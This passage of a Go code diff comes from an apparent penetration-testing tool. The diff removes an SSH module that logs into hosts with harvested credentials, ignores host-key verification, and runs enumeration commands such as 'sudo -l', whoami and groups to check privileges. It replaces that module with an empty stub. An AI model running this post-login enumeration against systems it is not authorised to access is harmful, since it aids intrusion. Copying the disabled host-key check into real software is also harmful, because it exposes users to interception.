e.executeCommand(client, cmd) - if err == nil && output != "" { - base.AddOutputToResult(result, i18n.GetText("ssh_command_result", name, strings.TrimSpace(output))) - result.Extra[name] = strings.TrimSpace(output) - } - } - - return result, nil -} - -// exploitCommandTest 命令执行测试利用 -func (e *SSHExploiter) exploitCommandTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - client, err := e.connectSSH(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitCommandExec, "command_test", err), nil - } - defer client.Close() - - result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "command_test") - - // 测试基本命令执行 - testCommands := []string{"echo 'SSH_COMMAND_TEST'", "date", "whoami"} - - for _, cmd := range testCommands { - output, err := e.executeCommand(client, cmd) - if err == nil && output != "" { - base.AddOutputToResult(result, i18n.GetText("ssh_test_command", cmd, strings.TrimSpace(output))) - } - } - - return result, nil -} - -// exploitPrivilegeCheck 权限检查利用 -func (e *SSHExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - client, err := e.connectSSH(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil - } - defer client.Close() - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check") - - // 检查sudo权限 - sudoOutput, err := e.executeCommand(client, "sudo -l 2>/dev/null") - if err == nil && sudoOutput != "" && !strings.Contains(sudoOutput, "may not run sudo") { - base.AddOutputToResult(result, i18n.GetText("ssh_sudo_check", strings.TrimSpace(sudoOutput))) - result.Extra["sudo_privileges"] = strings.TrimSpace(sudoOutput) - } - - // 检查是否为root用户 - whoami, err := e.executeCommand(client, "whoami") - if err == nil && strings.TrimSpace(whoami) == "root" { - base.AddOutputToResult(result, i18n.GetText("ssh_root_access")) - result.Extra["is_root"] = true - } - - // 检查用户组 - groups, err := e.executeCommand(client, "groups") - if err == nil && groups != "" { - base.AddOutputToResult(result, i18n.GetText("ssh_user_groups", strings.TrimSpace(groups))) - result.Extra["groups"] = strings.TrimSpace(groups) - } - - return result, nil -} - -// ============================================================================= -// SSH操作辅助函数 -// ============================================================================= - -// connectSSH 使用凭据连接SSH -func (e *SSHExploiter) connectSSH(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*ssh.Client, error) { - config := &ssh.ClientConfig{ - Timeout: 0, // 禁用SSH库超时,使用Context控制 - HostKeyCallback: ssh.InsecureIgnoreHostKey(), - } - - // 设置认证方法 - if creds.KeyData != nil && len(creds.KeyData) > 0 { - // 密钥认证 - signer, err := ssh.ParsePrivateKey(creds.KeyData) - if err != nil { - return nil, fmt.Errorf("解析私钥失败: %v", err) - } - config.User = creds.Username - config.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} - } else { - // 密码认证 - config.User = creds.Username - config.Auth = []ssh.AuthMethod{ssh.Password(creds.Password)} - } - - // 直接使用传入的Context,它已经包含了正确的超时设置 - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - // 使用Context控制超时 - type sshResult struct { - client *ssh.Client - err error - } - - resultChan := make(chan sshResult, 1) - - go func() { - client, err := ssh.Dial("tcp", target, config) - resultChan <- sshResult{client: client, err: err} - }() - - // 等待结果或超时 - select { - case result := <-resultChan: - if result.err != nil { - return nil, fmt.Errorf("SSH连接失败: %v", result.err) - } - return result.client, nil - case <-ctx.Done(): - return nil, fmt.Errorf("SSH连接超时: %v", ctx.Err()) - } -} - -// executeCommand 执行SSH命令 -func (e *SSHExploiter) executeCommand(client *ssh.Client, command string) (string, error) { - session, err := client.NewSession() - if err != nil { - return "", err - } - defer session.Close() - - output, err := session.CombinedOutput(command) - if err != nil { - return "", err - } - - return string(output), nil +// Exploit 利用接口实现 - 空实现 +func (e *SSHExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { + // SSH插件不提供利用功能 + return nil, nil } \ No newline at end of file